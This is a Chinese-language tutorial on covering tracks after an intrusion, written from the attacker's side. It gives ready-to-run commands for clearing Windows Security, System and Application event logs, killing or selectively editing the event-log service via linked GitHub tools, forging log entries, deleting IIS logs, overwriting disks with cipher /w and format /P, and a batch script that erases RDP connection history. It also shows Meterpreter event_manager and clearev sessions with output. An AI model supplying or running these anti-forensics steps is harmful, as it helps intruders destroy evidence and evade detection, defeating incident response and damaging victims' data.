為避免入侵行為被發現,攻擊者總是會通過各種方式來隱藏自己,比如:隱藏自己的真實IP、清除系統日志、刪除上傳的工具、隱藏后門文件、擦除入侵過程中所產生的痕跡等。
01、Windows日志清除
windows 日志路徑:
系統日志:%SystemRoot%\System32\Winevt\Logs\System.evtx 安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx 應用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx 日志在注冊表的鍵:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
windows 日志清除方式:
(1)最簡單粗暴的方式,開始→運行,輸入 eventvwr
進入事件查看器,右邊欄選擇清除日志。
(2)命令行一鍵清除Windows
事件日志:
(a)PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}" (b)Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
(3)利用腳本停止日志的記錄
該腳本遍歷事件日志服務進程(專用svchost.exe)的線程堆棧,並標識事件日志線程以殺死事件日志服務線程。因此,系統將無法收集日志,同時事件日志服務似乎正在運行。
github項目地址:https://github.com/hlldz/Invoke-Phant0m
(4)Windows單條日志清除
該工具主要用於從Windows事件日志中刪除指定的記錄。
github項目地址:https://github.com/QAX-A-Team/EventCleaner
(5)Windows日志偽造,使用eventcreate這個命令行工具來偽造日志或者使用自定義的大量垃圾信息覆蓋現有日志。
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
02、IIS日志
IIS默認日志路徑:
%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
清除WWW日志:
停止服務:net stop w3svc 刪除日志目錄下所有文件:del *.* 啟用服務:net start w3svc
03、利用Windows自帶命令進行安全擦除
(1)Shift+Delete快捷鍵永久刪除
直接刪除文件,還是能在回收站找到的,使用Shift+Delete快捷鍵可以直接永久刪除了。但是用數據恢復軟件,刪除的文件盡快恢復,否則新的文件存入覆蓋了原來的文件痕跡就很難恢復了。
(2)Cipher 命令多次覆寫
在刪除文件后,可以利用Cipher 命令通過 /W 參數可反復寫入其他數據覆蓋已刪除文件的硬盤空間,徹底刪除數據防止被恢復。比如
剛剛刪除D:\tools
目錄下的文件,執行cipher /w:D:\tools
,D 盤上未使用空間就會被覆蓋三次:一次 0x00、一次 0xFF,一次隨機數,所有被刪除的文件就都不可能被恢復了。
(3)Format命令覆蓋格式化
Format 命令加上 /P 參數后,就會把每個扇區先清零,再用隨機數覆蓋。而且可以覆蓋多次。比如
format D: /P:8
就表示把 D 盤用隨機數覆蓋 8 次。
04、清除遠程桌面連接記錄
當通過本機遠程連接其他客戶端或服務器后,會在本機存留遠程桌面連接記錄。代碼保存為clear.bat
文件,雙擊運行即可自動化清除遠程桌面連接記錄。
@echo off reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd %userprofile%\documents\ attrib Default.rdp -s -h del Default.rdp
(1)查看事件日志
meterpreter > run event_manager -i [*] Retriving Event Log Configuration Event Logs on System ==================== Name Retention Maximum Size Records ---- --------- ------------ ------- Application Disabled 20971520K 2149 HardwareEvents Disabled 20971520K 0 Internet Explorer Disabled K 0 Key Management Service Disabled 20971520K 0 Security Disabled 20971520K 1726 System Disabled 20971520K 3555 Windows PowerShell Disabled 15728640K 138
(2)清除事件日志(包括六種日志類型)
meterpreter > run event_manager -c
(3)另外,也可以輸入clearv命令清除目標系統的事件日志(僅包含三種日志類型)
meterpreter > clearev [*] Wiping 4 records from Application... [*] Wiping 8 records from System... [*] Wiping 7 records from Security...